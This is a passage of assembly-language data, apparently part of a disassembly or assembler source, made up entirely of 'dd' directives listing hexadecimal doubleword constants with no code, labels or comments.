6C27FF0h, 20A8EB30h, 74576EAh, 0CCAC8D3Bh, 43FE473Eh dd 0B0BF964Eh, 174D4B3Dh, 928FCF00h, 88CDEFACh, 7316308Ah dd 0AF9AF8A9h, 7C6E2A00h, 34D676D0h, 0A8901FF1h, 0DDF3C0BFh dd 0A493BCAh, 0E3E810Eh, 3568228h, 0AB0848F9h, 8BB42D3Ch dd 57FDDC10h, 0E7BE0604h, 28978FAFh, 0E0471398h, 0CE00A2E8h dd 75FEB685h, 4D9B6320h, 102C38B7h, 706F3Ch, 2FB9A41Eh dd 3B53DBE6h, 78E0419Ch, 3865D003h, 0CB1852F8h, 9BD08F75h dd 0A5500040h, 637EE1D9h, 9574E837h, 79B42407h, 835B2DB8h dd 0B8E29B4h, 0B9C66130h, 6EFBC0A0h, 0CA262226h, 0E025B4B0h dd 7FCE000h, 0D2FD886Fh, 0FC057515h, 0CB106228h, 2714F603h dd 0F457C804h, 0A8070C90h, 2B8B55DDh, 0ABCC816Bh, 1907AC88h dd 5DCABC00h, 3E6128CBh, 0EA0F8488h, 98B34824h, 0FA2A12ECh dd 0F2888826h, 48B27E2Eh, 0CE72AA10h, 0F0D70728h, 70352274h dd 4812091h, 62F1088h, 58064A6Ch, 16F80438h, 1A00DC9Ch dd 3FD4AC5Bh, 0CCF309CEh, 0FC8E5136h, 0E212B9C8h, 0A4011B09h dd 0E4ACE188h, 78A4D72Ah, 0C31826D2h, 4294A678h, 98A8D9BDh dd 0FC9C15F5h, 45208720h, 914D13B1h, 0EA8487BBh, 0C90F1298h dd 8808E478h, 89B8DE5Ch, 7D7C20A5h, 264D47E2h, 623427FBh dd 82000F36h, 531893Fh, 0EACC7E78h, 4BA80369h, 98C183F3h dd 8B108176h, 41186258h, 0CE8F6028h, 3EC86F42h, 4D164464h dd 308921BAh, 5913EC30h, 1448B87Ch, 47DB0716h, 6037D2C0h dd 0B799115Ah, 0A21F7A00h, 38DACC55h, 0EE8F00BEh, 30197D50h dd 4C94F2F3h, 0D04BEC1Dh, 0B0BC8B61h, 0AD19DA0h, 0FCFBCA4Ch dd 0E8130090h, 4FD56C9Eh, 0F95A4205h, 0D6846256h, 8B5CA400h dd 11ACD5Bh, 4054BCAAh, 60E1F6CEh, 0A20CC591h, 0A98706D4h dd 0CBD509D6h, 0F8206DA9h, 0D2E545F4h, 6AFA0107h, 824BDE33h dd 0F26F4AD4h, 575A0730h, 0BCE48885h, 1F3F170Ah, 18C850h dd 0A2676E4Dh, 0ED97278h, 0AAAD429Ch, 0D5FB0A80h, 6904CE87h dd 0F5A906B5h, 131238F0h, 0B424E740h, 55061894h, 0A97B4BDAh dd 0A4F0F810h, 5BD8090Ch, 0AC603703h, 53B0D2FCh, 6D582E7Bh dd 0CB510469h, 0F890A201h, 0E2EA93B1h, 23540E80h, 0CA204B07h dd 3625FFCh, 0A414455Ah, 0CBD00520h, 44B0F9D2h, 0BB6600C8h dd 3DDF858h, 3A02E404h, 47B25DCBh, 6338C1E8h, 4080AC31h dd 6FF0FC69h, 2F14FBB0h, 3E8A6AEh, 9BA33FE8h, 0B199A087h dd 0B540936h, 600B0515h, 0FD102065h, 98BCC04h, 0C58084E9h dd 160201D8h, 82FADD4Eh, 37DFDC38h, 79CC8078h, 2E2EA999h dd 1808E8F8h, 9A63C8E9h, 5CC8879Dh, 0F0DA4432h, 0EBC30224h dd 0DBA49F85h, 242CFA41h, 0EC7E6E90h, 7D6C3Ah, 0D97EDDF6h dd 2ED5573Bh, 1DC240Bh, 0D6C1339Fh, 0BBEFE44Ah, 0C12D0E8h dd 88F87A63h, 2009412Fh, 52D7B820h, 0A19DF50Bh, 8AE06324h dd 49E29089h, 93E01C8Ah, 2B50049Dh, 1443128Bh, 850C03E4h dd 0E9DB28B5h, 746CE99Bh, 0CF163849h, 106C86F5h, 8094731h dd 0C82F38DCh, 0EC48D058h, 0D0B62CF0h, 6205B4A4h, 0F8D182FFh dd 0E0D30C70h, 78AFC313h, 41F002A8h, 0EAB035Ah, 0BE6A8CA4h dd 0FCE3A890h, 3887095h, 45784898h, 64D0439Ah, 3A00AC58h dd 67424E75h, 530B68h, 1DF6F2AFh, 1916C6FBh, 67D6277h dd 0C64AA2Ch, 209EA42h, 3C59E298h, 0E43F9E8Bh, 49750528h dd 0C2FEC2C3h, 0DE05DDB0h, 1DFA50E4h, 3B731177h, 622A2E04h dd 0CE8A0B4h, 0A6E2FC00h, 0F8C36B4Eh, 4D540063h, 82CC03C6h dd 37056E80h, 72CBCF57h, 6A8318B1h, 0FABE5258h, 0C9B6B08Fh dd 447A1261h, 0A0C80C5Ch, 4D86DB1h, 309B602Ah, 0CD80F0A4h dd 0A0165200h, 0D00B8210h, 4E41004Ch, 6F5DDC64h, 0F8A1B58Eh dd 2ED06499h, 9D02AC7Dh, 0A44E343Fh, 6FC0E0EBh, 0F64704B1h dd 5499ED83h, 54841688h, 0FC2CAC5Eh, 0F71B1900h, 89302Ch dd 0EE4B695Eh, 34E40E87h, 3E0D0D0h, 0CD33C946h, 0EAE6E081h dd 2A50C2A6h, 0B0A14B58h dd 0E8B5C62Bh, 0CCB0CEADh, 119B0402h, 0E2DA4D81h, 0DC6480h dd 0CE8F8459h, 0CFDEA84Fh, 10F63C00h, 58FD0F05h, 0ED40378h dd 1D088431h, 681BBE3h, 0D25C64C5h, 5076227h, 7CC0E440h dd 0BDB6Dh, 4B5F8F30h, 8BA262C9h, 0CB1854E2h, 11C0AC91h dd 88ED009Ah, 0E35FFAA7h, 9B18922Ch, 54109178h, 0ADCE0114h dd 0AA30CD0Ch, 92D0B853h, 0C412516Ah, 83D0380Bh, 1DD72E20h dd 3E4F8850h, 0BA0FD449h, 45F68906h, 886804C8h, 52243CD4h dd 0E117D080h, 4B2A1442h, 1AE44866h, 23090BFh, 29D71B77h dd 0BAC04C08h, 460BEE25h, 219A9163h, 7982AAE4h, 0FC30CB08h dd 710388E6h, 0AE78C029h, 0D5B6F924h, 8ACCA200h, 9F9BEE30h dd 324CF2E4h, 8431C02Ch, 0AB00F8F0h, 7328AE6Ch, 1264ADDAh dd 0D1A11FCBh, 305260C4h, 88E69EF5h, 26A4AA5Dh, 851334A0h dd 4F63A0D8h, 327CA03Dh, 64C90B01h, 1F5606E8h, 0E63FC24h dd 0B5C25D8Bh, 7F300EA1h, 0D450967Eh, 89FAAC82h, 0DB084898h dd 1D1A7FC9h, 96CA9E3h, 1C8371E6h, 0BAE8FB07h, 0A00082E2h dd 335E85CEh, 2A624DFDh, 2A4C7BFh, 9E29D6F1h, 0CCC1870Bh dd 5C30E005h, 0B5F20C01h, 62DF5604h, 0B430E4C1h, 4F0B0047h dd 0C8AA58A6h, 393BD061h, 6D909ACh, 14AC203Dh, 0C097DF01h dd 9602E460h, 9C0CCFB0h, 0F90D0312h, 74567EEBh, 0C7F027CCh dd 10E2BC90h, 0E4E1D098h, 0DD027FDFh, 0D383BE3Fh, 802C569Dh dd 4634A44Ch, 5401743Ch, 2C75B5BCh, 813AB007h, 646CB2E0h dd 0AC9ED504h, 0A48A0B50h, 893C96C4h, 0FC416E62h, 9E428E6h dd 187996CBh, 0B02CEBC0h, 8970BE44h, 80851964h, 3DF8CC75h dd 8FBC6B50h, 0F88E3498h, 0A0A0D5EEh, 18268452h, 0B08804BCh dd 0E6890219h, 80E8A0E9h, 507C6DF7h, 4C0134Bh, 483F6648h dd 533D9C40h, 70B09387h, 5A49C073h, 0B4A0F24Bh, 273B40FCh dd 74D001EEh, 0FE3A0345h, 0BDE068B1h, 9084050Dh, 607F4C40h dd 0DB7688h, 93AD9E67h, 0A5FB4EDFh, 1DA85207h, 4650AFF6h dd 4B0342EFh, 923817D2h, 9CC039E4h, 517CAB1Dh, 5640D48h dd 0FFF48412h, 0BE009CE2h, 0B753DFA3h, 6A007AFBh, 29FFE0AAh dd 74D0235h, 632208E3h, 0ECA0EC9Ch, 0AF2430FAh, 0D0027898h dd 0DC4C2BEBh, 0C0A7946Ch, 76515581h, 7C42E29Dh, 200FCDEh dd 10C3AE48h, 2EF17F71h, 426483CAh, 0C4DE3DCBh, 0EC24C724h dd 6CC76104h, 80A9C4D7h, 78E3E468h, 4AFB0B2Eh, 0D3802C22h dd 20AF211Ah, 5306F209h, 0C8C497h, 0EC783B9Eh, 227FDEFBh dd 3CC97412h, 0E1C8440Bh, 9462E5ACh, 8E766209h, 0C84820CEh dd 2509057Ch, 0A08440A4h, 0BD427C97h, 338085FEh, 0AB683BC0h dd 0E025000Bh, 30715A7Ah, 58BE1336h, 0B62E540h, 40494A16h dd 1E29FB24h, 0AB0518B0h, 71FC884Eh, 26060803h, 0D9A01792h dd 78D89978h, 0B9D73064h, 0C2F47EABh, 0E0926388h, 0E8396040h dd 75BD2F17h, 0B004F8ECh, 855ECA67h, 7D74B24Ch, 5200F0B6h dd 0F45B4AE3h, 31340922h, 98A0AB3Fh, 8D8E6B71h, 5FE68107h dd 978F2062h, 41C794DCh, 0D9A4246Dh, 8508046Fh, 2CE3F5F8h dd 0AA5F9871h, 0D3E08420h, 50D400D2h, 25510148h, 0F196B506h dd 0E1F7DCCEh, 0C8E5DF00h, 4A3E9D55h, 7DE706B0h, 48BC5A64h dd 0FB8B470Bh, 889B04E0h, 458C7081h, 2475E823h, 0C34449A2h dd 88DC9274h, 91E21538h, 0DD0F643Fh, 0DDF40588h, 3C80CB3Ah dd 1FEF14A7h, 0B1D1622Ch, 0C89D3020h, 90A8FB33h, 64010D79h dd 652F34B9h, 0B271CBDCh, 9A46041h, 0CC35D0h, 0B5B7F2C1h dd 4EEE93E4h, 0CC648626h, 0DE55030h, 57621602h, 99988CC4h dd 3FC9B4Dh, 950211F4h, 0CC101709h, 0AA384122h, 826C6288h dd 0FDE46709h, 0E034417Fh, 0D4D30838h, 71289860h, 79847B09h dd 9C0098F1h, 9010EEA5h, 4E800017h, 0F9FEFB0Bh, 7B0119F0h dd 3EC67278h, 3BEB0367h, 91838239h, 5D79C096h, 89FCF5E1h dd 0D936D618h, 242D08D8h, 0F30C002h, 59C84F9h, 0D0915D85h dd 3C3CA707h, 512CE001h, 3C0C4F3Ch, 824C8B08h, 601D77D8h dd 1F40445Ch, 8795A56Fh, 0E08E7F5Ah, 0C14CD670h, 31324BAh dd 0F00076FAh, 1915DDDEh, 80A40F4Dh, 18F8A306h, 8C0283BDh dd 287C6D9Dh, 44505E74h, 3388A9D7h, 0D0BF08E3h, 0B6CCE2DDh dd 8ABC01Ch, 52056684h, 0A58E7B37h, 33B249Ch, 684287C6h dd 43E00B66h, 495CDB28h, 30B04A18h, 1D0A44Dh, 3F69486Fh dd 50B48A06h, 44A03EACh, 0E486D401h, 62CFF508h, 924460DAh dd 7B4F0F8Ch, 0DA1C1D64h, 58421193h, 36DC1401h, 0E1B2D07Dh dd 5106A70Ch, 1D358C6h, 0F0C11FCEh, 0C8146B37h, 5E092B59h dd 225D202Ah, 2A1DA98h, 24412664h, 80E30870h, 7BFEFC3Ch dd 894F0C02h, 0E00E0B51h, 2BD47430h, 8794A346h, 0D01208B3h dd 0C878F784h, 6F5C3D1Dh, 0DE24080h, 3BF9D52h, 0A561C942h dd 0BC8BD8Ch, 3934C7FEh, 0F88011A4h, 7598E1DBh, 178E0079h dd 0D4727B8Dh, 1C24AC3Ah, 55132C37h, 0DD7A7442h, 4B28CE78h dd 88E00CAFh, 61284C0h, 4016686h, 49E3D5E5h, 3FF4213Bh dd 90F11467h, 8781B042h, 0EF8A88h, 0C7EEEBCAh, 8870913Ah dd 0B011FBAh, 0D0B6248Bh, 0D753AE4h, 77442A87h, 53BC0098h dd 0E100490Ch, 3C9F4A14h, 0A068B8A5h, 80B22CFCh, 0BB4ABDABh dd 0AC024816h, 0C6E35CCAh, 0CFDC0044h, 0D0BEF23Ch, 8100116Bh dd 0B7D4309Fh, 33035B40h, 4248E117h, 0B56069BAh, 60010918h dd 75D6AC78h, 91809030h, 3D6529ABh, 9F24CA39h, 0FA019C36h dd 5AE46260h, 8FECD880h, 877E38EDh, 0ADE54F05h, 54D46706h dd 97CFC8B0h, 29FD4090h, 0E8B84E24h, 64EB1084h, 2585ACB2h dd 31BC036Dh, 0E840F1FFh, 0D2002AC0h, 0C9751BA2h, 0BF9B535Fh dd 0A8C03C00h, 7100B9DEh, 0AA3A38DAh, 248A12h, 743B4C2Dh dd 7E628289h, 0D0315000h, 0CB88FCE3h, 0D8CC0FE1h, 9FEF5632h dd 305CCC3Dh, 0DB00A1E0h, 44D64635h, 7A01E313h, 73E20021h dd 9C695F88h, 0DA001A41h, 0D470F0A0h, 0C0C7D506h, 0EC5CCBC8h dd 8096DDF5h, 78172A09h, 34FB4A98h, 4A64E258h, 0CED9A0C0h dd 343534CBh, 45B8A080h, 0D7DD9C1Fh, 874B1CE8h, 0F8CC104Ch dd 0A2AB0070h, 0DDDAA9DCh, 8200BD25h, 0AC5463DFh, 0C070CBD8h dd 6490E351h, 58BAAE7Eh, 0A5D1ED04h, 0C88081D2h, 45D9798h dd 0FCE215ABh, 1E3CF9A1h, 1CC2DC1Eh, 74F885CBh, 77BC03A8h dd 7CAAFAF1h, 58D090E0h, 0D4FFCB18h, 4B898B20h, 9FC2106h dd 3E28611Dh, 204E6872h, 0B3A40E3Dh, 0AC27F8B0h, 0A8AC6810h dd 7D75B0ABh, 106CE703h, 1AE93C00h, 94CB5ED2h, 6170EC60h dd 9079DD8Eh, 24F0E554h, 0C99CBEF2h, 3EA27000h, 4F00EABEh dd 63A8439Ah, 28A485AEh, 0F47277h, 6DA03C1Ch, 472FFAB3h dd 7DA81260h, 35307663h, 1101707h, 0B9CA0E40h, 4F587073h dd 0ACBC087Ch, 3E0D4580h, 0FADAFFh, 0BCECAE26h, 7A2E0704h dd 1732C0C0h, 1FBD2AB8h, 0A81FCBDBh, 4DBF7A80h, 8CD48457h dd 5977D650h, 0A8458092h, 24009428h, 0B0F0EBA4h, 9A9F400Fh dd 29B018A4h, 0B1AE00C3h, 0F9F04EF2h, 11C0BF71h, 0CBC9D972h dd 44BE20h, 52584870h, 8201BB16h, 5002880Bh, 0CC2C7841h dd 0A1850313h, 0C3D34498h, 0D3B9321Ch, 12421B8h, 201BE68Fh dd 0ECBE3C5Ch, 2BAE7580h, 13EBCDA8h, 0E0C83021h, 3B4BCB84h dd 6784AC21h, 5476AC02h, 73CBD385h, 12A588D0h, 0B6602407h dd 9E088058h, 0D1412AE7h dd 668D20Fh, 0F27DA58Fh, 84551480h, 30C14BB0h, 0D270F850h dd 28EF0B1Fh, 0FCB01C12h, 0D498B576h, 2F18FC65h, 0D6105C61h dd 0DC0403D3h, 7BA2550h, 0FC0F67F8h, 4DAFA302h, 62917702h dd 1C98CC74h, 0C01CFC0Bh, 75AADB4Bh, 6800C86Fh, 0D8E2A8ABh dd 4EE356EBh, 4CF49002h, 91B5184Fh, 90A55828h, 0CC192CE7h dd 7EE607C8h, 0C402844Ch, 4600C88Ah, 22AFA096h, 0F0A8DE98h dd 90BD2510h, 77629C10h, 0C421944Bh, 5C245881h, 41680018h dd 78610E9Ch, 4E06713Ch, 9EB10414h, 6AB3B30h, 0AF40825Bh dd 4CF48EC0h, 8A68B019h, 213E401Ch, 3B9132F8h, 40443822h dd 0BEB1CBECh, 8182EBCh, 0E03A2978h, 3529048h, 38BE5D89h dd 7352F02h, 0AC748E16h, 2C90DDBFh, 660C54C8h, 0B2066E69h dd 3CC5B80h, 0C44C6310h, 8F20E9B4h, 0A09F0C2Ah, 50039DFDh dd 1115BC0Dh, 4B08822h, 4A82B170h, 0B73EC4CCh, 0CBCDD0C8h dd 6C6C6924h, 0CCC1BB00h, 24F1BD39h, 7441D2h, 0B5EEE491h dd 540123FFh, 0C5E6482h, 24CC7588h, 42622DE0h, 0CE3FF481h dd 825C78F4h, 8148DB66h, 50314F84h, 0D820073Fh, 0CA0E6925h dd 4AB7BC36h, 0AE288C04h, 76CEA300h, 0E2003E48h, 15865449h dd 4AADAA45h, 0D784CCE1h, 0D5016900h, 45845650h, 183FE4B8h dd 68702B31h, 680977FAh, 342AF08h, 0CFBA3960h, 0F7976380h dd 46802701h, 90D8C862h, 6A6006F8h, 0B9F83CC8h, 4B6D00FBh dd 0FEE48330h, 280079B5h, 646AC935h, 2D9A86D2h, 90C02563h dd 4CB8D0A1h, 0FD7B9096h, 0D0E40CC4h, 5483093Eh, 849064F2h dd 0BE010384h, 0CCE05B88h, 0F8681ECBh, 3D497300h, 4730744Dh dd 0C9F4E195h, 1DC3EC60h, 4366B8F7h, 0CF7FCB5Fh, 21B43051h dd 8C28A968h, 19B88027h, 146A9E7Ah, 0A48F6F2Ah, 0E562D2C2h dd 0B10020D0h, 0B8C44DC1h, 954E30C8h, 9935A880h, 3D056A8Eh dd 0FE2FF262h, 31E898B0h, 57696317h, 8D2DC4E7h, 91C5981Ah dd 80D010h, 0CC305B82h, 0CF0E7D5Fh, 0F89E2D31h, 0B2FAD2Ah dd 0FC19D82Ch, 3B2030E3h, 376DEE0Fh, 1944E655h, 0A2463930h dd 0DF81B51Dh, 3C41A52Ch, 0B89F604Ah, 34D748h, 0F94326E5h dd 2FC9A7CBh, 0C08BA3Ah, 0B18946F0h, 0E0F10D00h, 96B753DDh dd 5EC9E79h, 0A7CDC62h, 279CB284h, 7AAD2801h, 841E3B69h dd 0E268E4BDh, 0C0F0C084h, 9ECA302Ah, 571FCFC8h, 0AEDD7A0Fh dd 0E8628346h, 6870006Ch, 0F36B0226h, 0C600EECEh, 7B0BFDFBh dd 6486CF23h, 85D811C5h, 31548041h, 823E5A2Eh, 0B8C7CACCh dd 0A362C7A2h, 0B1177FDCh, 6470E98Eh, 30635820h, 6C1F0F76h dd 37CAB260h, 3C5E8090h, 54C72631h, 80E8034Dh, 0BB56B471h dd 0A47300D0h, 0B25E8ACCh, 0DC9682E9h, 2C649C1Fh, 1AC9808h dd 0C602DB99h, 80406CCEh, 2A886EFDh, 28F64914h, 0FDC0D84Fh dd 5C40294Ch, 2C8A1080h, 133E8300h, 2405860Ch, 245F138h dd 942FD771h, 287B00E1h, 6600C874h, 0CC528EE7h, 0D8177Dh dd 11A96732h, 4A0723A0h, 6E3BB00h, 65F652C4h, 5DF132Ah dd 5BD8E38Ch, 0A43E3881h, 0E3D65887h, 804097FAh, 3F660269h dd 0C80A754Bh, 4601B570h, 0E2453D61h, 98C46C39h, 0C1C4E8E4h dd 8A625E8Bh, 0AF40103Fh, 46E51512h, 12C86E6Ch, 8CC10C5Eh dd 0D000AD7Dh, 0D090F538h, 0FD0B890Bh, 85B48943h, 70F17218h dd 0D048D47Dh, 4AB0D732h, 0AB20F466h, 0B7CB58FDh, 20DC9878h dd 0AA133299h, 64A4AD8Eh, 2B6D647h, 0DE0F34D0h, 9E8D7F61h dd 0E3D68420h, 17E704C8h, 96697E28h, 67E08160h, 8038DC3Eh dd 21BDCF79h, 1C37BAFh, 0DFFF46A6h, 80011DCBh, 0F5508498h dd 0FDE6905h, 0FBCED770h, 4C4D1413h, 8D8272Dh, 25E35204h dd 0B8BC29FAh, 0CC7EED80h, 0C0BFDBAAh, 3FFE164h, 5120172h dd 3801854Fh, 890A25E5h, 22EA690h, 70F3032Ch, 0FC98A8EEh dd 4566F40h, 92EDF611h, 2C34ACABh, 842448CDh, 6A153480h dd 0F663B5B6h, 7D7A00DDh, 0B79E143Fh, 6C3DB491h, 28A8A6F7h dd 30424013h, 0DE51474Ch, 0C73E9028h, 12F159FAh, 0B478800Dh dd 4962D9C7h, 5917F4D8h, 0ACE614E5h, 0BD48D4Fh, 0EE0B168Ch dd 24E0A025h, 681E582Ah, 0AB092852h, 88C4B16Fh, 0F0CC89BDh dd 0E8916174h, 0FE6D22E7h, 0A8AC1074h, 0F429C07h, 62BF3310h dd 0E0FE51AEh, 0D15C6C02h, 94636188h, 3B288CF0h, 1F8BA14Fh dd 0C923524Eh, 0A800BF4Ah, 8C61F0E0h, 3F68EA06h, 0B788C50Ch dd 82A0608Ch, 0C7486558h, 26C2E637h, 0FA14E6CFh, 7964A0B8h dd 4DA33EB1h, 2E2A7050h, 800C8BCCh, 0B3EDCF29h, 0B81794DEh dd 0F405EBCDh, 0F0ADE2A8h, 0E2A10h, 3E6D4871h, 959FBE06h dd 2762D402h, 16538CA1h, 8186E458h, 0CA504804h, 58F52667h dd 40A8800Ch, 2898B9FBh, 6810AA0Bh, 0E85078B8h, 38652D6Fh dd 0C0A46064h, 0E3577D13h, 2C4230B6h, 62B0D04Fh, 109D91B3h dd 6B42FE4h, 27648A37h, 5D0918A3h, 0DBBF7984h, 0D79C405Ch dd 3A005131h, 243CFC4Bh, 1A2B99EAh, 38E63207h, 880210B2h dd 83009D74h, 38BD46Bh, 1CCBD558h, 0A87D7FC4h, 0FEA0AD00h dd 9C7FC84h, 0DC704Dh, 623EC8CAh, 0CB663B50h, 804FEC32h dd 4B1CF06Fh, 0E93C0970h, 2A147814h, 25D09CBAh, 0BC984ECDh dd 0B62A6728h, 0A33F186Ch, 0F99BB072h, 0A92062E5h, 0C846B494h dd 0D6723E68h, 189FB71Ah, 0A21C2CC0h, 0C2F88281h, 0AE1E126Ch dd 0CEB102EBh, 20C08D51h, 971E91F5h, 2F80A3E9h, 7ED57CFh dd 4DCA043Bh, 1C4A272Ah, 8806C443h, 0FC5001C3h, 0BBE41558h dd 5F6180B8h, 0B2967238h, 6288B87Dh, 0EBDE39CAh, 54DD7CE0h dd 6A30B00Eh, 7B00BFC3h, 62D776CAh, 20D95C5Ah, 301BEC03h dd 3827461Fh, 93C49D6h, 29E4E980h, 7CABBDD4h, 0EB373013h dd 3FE3FC40h, 64B6AE6h, 6762D482h, 5C0130BEh, 0CC7F30CDh dd 0E444D08Fh, 5457DC12h, 0AC075002h, 307872h, 8AD9303Dh dd 96D115B8h, 6D196463h, 0A680B1FCh, 27CDF088h, 3ED6E501h dd 497E1D0Ch, 0DCD6DD4Ch, 0EEE46204h, 2B819087h, 243A35DBh dd 6038C520h, 0C6DB8488h, 30C7C505h, 94F987C9h, 4514D9D3h dd 558E290h, 0D772737Bh, 0AB82F8F3h, 0D8481505h, 50D655BFh dd 12AE0C00h, 8881E9h, 0F80B6C5Ch, 724E44CBh, 67566418h dd 4F2EBA28h, 0E820C531h, 59063C20h, 78DF09E4h, 0BE4085FDh dd 0E1E8D445h, 0EC6C09FFh, 62320882h, 30247881h, 0D82EC3F8h dd 0CE8440D4h, 80F82AEBh, 0E819E4CBh, 702C70CCh, 0D8CCD894h dd 8D1A00C9h, 0CEF43572h, 0AD02A586h, 8A88E689h, 0BF8C939h dd 0CDEFA240h, 28EBF8BCh, 9DFCD3FDh, 9D5D6482h, 646E2879h dd 0D4A85546h, 8850DA2Bh, 2411257h, 6561CB6Fh, 0DCBE7080h dd 0C9B36AFFh, 0BC34105h, 5BC119EFh, 7C75F5DDh, 5124E8F2h dd 479B0025h, 29CE3E94h, 3D0011EEh, 50CC3C83h, 8A6A82h dd 0A40C2BEh, 0ED51E353h, 0DB316C90h, 0C70208EBh, 2A35860h dd 3AAFC10Bh, 0EC406474h, 650B9D83h, 0F8AECBB1h, 0F98B3858h dd 0ECBC2281h, 7071AD88h, 1BD0F08h, 9E2DCCA4h, 0F9DB2881h dd 210C9249h, 62DC248Ch, 0C8E9CB24h, 0C0064001h, 4B0264B7h dd 0A6750861h, 0D0A9E038h, 54C22A17h, 42991068h, 0D7EE8516h dd 542D8600h, 2E82E692h, 0B94FB4Eh, 0D442F0ACh, 7A0AEC41h dd 1CB59400h, 10C51ABh, 7CA7DF54h, 51E7A284h, 5603A4h dd 90F4D463h, 0D04124B0h, 81E617A4h, 81FFC8C0h, 891C7618h dd 0CBC86961h, 145A5C71h dd 7F78620Bh, 0C0C238DAh, 590FFD4Ch, 35803B0h, 702C0BC0h dd 410968B2h, 25188F0Eh, 0D8F87D68h, 0BC50A13h, 98D0A260h dd 0CF9A7062h, 0F87823h, 0C954CBFCh, 2224073Ah, 1BC6448h dd 6AF3AC34h, 7BD22Ah, 50C3409Ch, 5E0052E7h, 7629D74Ch dd 4CEAF70Ch, 0BF1084B4h, 1CD92C14h, 0D23A4AC0h, 9CD55FEDh dd 7122FBECh, 25092588h, 0DD059853h, 22807235h, 9829E3B4h dd 13BA78D3h, 409B2230h, 50266F3Ch, 4E09A889h, 40AE61FEh dd 0B5C54h, 0E0F808F2h, 9A3BCAC0h, 8081232Dh, 8867DEECh dd 0D5A40686h, 907C8906h, 8BDB6CA0h, 4C549124h, 43984B18h dd 63D50EEFh, 1C9FDDF1h, 3F0424F0h, 0E7D2A81h, 622936E4h dd 74F80458h, 1D24223Ch, 174A0493h, 60EC75h, 82C73FCh dd 5C77D0BBh, 0BD002845h, 62F07E69h, 449A6640h, 18DA1C3Ch dd 57D0C141h, 2A3F009Eh, 37816BA8h, 3A00AA87h, 0BD01E30Fh dd 0A77C911h, 49E24DF0h, 40DF1F08h, 0FB4C0223h, 0A8F26B76h dd 0F23F1302h, 5756CBD8h, 0FAA57000h, 11005C53h, 84A6EE2Fh dd 4835630Ah, 0CB394CFDh, 0CC84A077h, 0E8442530h, 8C15812h dd 77FB00F2h, 0EBC319C8h, 7AA31C6Dh, 0A06CF040h, 177D98BAh dd 0F0FE301Dh, 0B3052784h, 0AB9DB0F3h, 0D280F4ACh, 10DAA232h dd 9ACBC00Bh, 8D64A4CCh, 3C601889h, 43311A58h, 18553883h dd 419CB8h, 843A62A6h, 18317AA8h, 0E4CBF40Ah, 0DE80E427h dd 2A036CA3h, 6CA09F24h, 1121CFF2h, 14B7249Ah, 47E227B8h dd 0A05410A9h, 2283B889h, 0BBF5EACh, 80D028B1h, 4CD1A120h dd 1EDDEFEBh, 973C907h, 3CF0ED9Bh, 0A906410Bh, 0AAD8015Eh dd 207A42E1h, 0C462DCACh, 0CB05C4B4h, 0AC9064C0h, 0B5CFFEFh dd 2C62284Dh, 94B8C843h, 0E495796Eh, 0C0CA5EF8h, 4DD9BD0h dd 17681053h, 0D4310EE4h, 0E84C8756h, 0E49B5C38h, 0D9710201h dd 607A860Bh, 9641D20Ch, 9DD8056Fh, 0D8E88C3Fh, 1CA40612h dd 1A12F0B9h, 7948C0EFh, 46091725h, 5E975673h, 630B0964h dd 6FCBFC20h, 0E013DDC2h, 98B0D706h, 7DFA00DAh, 66B4D187h dd 0DF0BFF3Bh, 0A32B0359h, 0F2E7DEE0h, 2588D18Bh, 1F401451h dd 7C61D559h, 368B04A7h, 0C04B6B57h, 8667BE14h, 0A3034F0Bh dd 28F47194h, 0D2A414D2h, 912CC4CAh, 58CC05DCh, 4D84C075h dd 953EDC97h, 0CCB47FCBh, 0F8E0C827h, 0DB78C688h, 0AB20FCh dd 0A0D47BE7h, 0D2F8DF17h, 2362530Fh, 2F180FB6h, 0E9CD5801h dd 78F16A84h, 8EE8D082h, 34C0AE35h, 0CBA9B90h, 0FD40E094h dd 2C2A8827h, 92280751h, 0E4408025h, 0B1026906h, 474940AAh dd 1C644264h, 2009FDFCh, 3C0245ACh, 73CBE04Ch, 0C8935507h dd 22A5EDC1h, 58C49EBCh, 0CB8C873h, 7ED4C9D7h, 309D1C01h dd 0D08FA097h, 0D60FD4A8h, 7106DF21h, 80747CE2h, 217D4A16h dd 0BF404C58h, 7AAC2200h, 32D875D2h, 8586350h, 7DB3391Eh dd 0E244EA42h, 0F1088910h, 41CD4764h, 7BD4E788h, 16158028h dd 0A1E95325h, 0ACAB04D0h, 42CBC240h, 409B001Bh, 4B00BB7Dh dd 772CAC6Ch, 0B25B3D48h, 8CCB094Ch, 0CC7FB0h, 606EFB2Ch dd 6BB3D44h, 28AA161Ch, 51894301h, 83B1A0BAh, 42431A6h dd 0BD958DF3h, 0D8AD8AA8h, 609C2A05h, 0F93CFC91h, 2E56A420h dd 20681A84h, 3EA10568h, 0C06BB96Ah, 497EF7A6h, 0A044F89Eh dd 3DBDA4D0h, 0EB9705AAh, 0A8C53024h, 3E85810h, 1B8E1369h dd 67E4B8CFh, 0FB07012Ch, 0A5796475h, 6C13DC02h, 35036090h dd 6FB81ECFh, 0AF87B893h, 70E51EB9h, 3F177BF0h, 64C51E08h dd 0B35C881Ch, 3E58E42Fh, 0D80C7002h, 7B50796Fh, 0A97F9502h dd 8413DDE1h, 78831BD8h, 0FA30005Eh, 64C1715Dh, 7954E0C7h dd 5F4A8C84h, 429CF004h, 43C822AFh, 8A1704D4h, 0C227181Ch dd 40195570h, 41868D1h, 91D3E63Fh, 62F270BCh, 0AA0C787Eh dd 5A5890D8h, 85042760h, 0BBB8D48Eh, 0D09CA045h, 3FC6A4FCh dd 2A12F146h, 0F0C0EE20h, 0B584914Ch, 0B85EFC12h, 50B0429h dd 4BECF110h, 0CB63D890h, 2E83F2Dh, 0D33794h, 63E6CD1h dd 5BFD8025h, 0C9ECA414h, 943F4427h, 6278F0A4h, 2409784Bh dd 0BCC0FBAh, 98C7491h, 706D878Ah, 0EA1E11A4h, 0C7E7BB81h dd 71E01DADh, 31CD0053h, 0F60B3870h, 0B209DD99h, 807E1E52h dd 1BFAF061h, 8A8100C9h, 4D884FB0h, 0EF7CC4E0h, 39A10D00h dd 0B333B127h, 4830C3A8h, 581F47C2h, 0F340ABFEh, 7352F1C6h dd 0C020C00Fh, 0B598BB7Ch, 0AF349403h, 0A122EA8Dh, 61F05415h dd 2380071h, 0D84E2A4Ah, 3B3C6A72h, 4C607282h, 8D5EDD11h dd 0D138616Eh, 0F952BB84h, 26608FACh, 2C48009Dh, 8A5F35h dd 246C4FFEh, 9FDFF08Fh, 0EAE38D03h, 159352h, 45FE830h dd 0DE6E814Ah, 0BCD9483Eh, 702918D0h, 0C13AD11h, 0DAF4F0AFh dd 0C90038D8h, 5C60797Ch, 0E2B36C57h, 0BF4818AFh, 8768202Bh 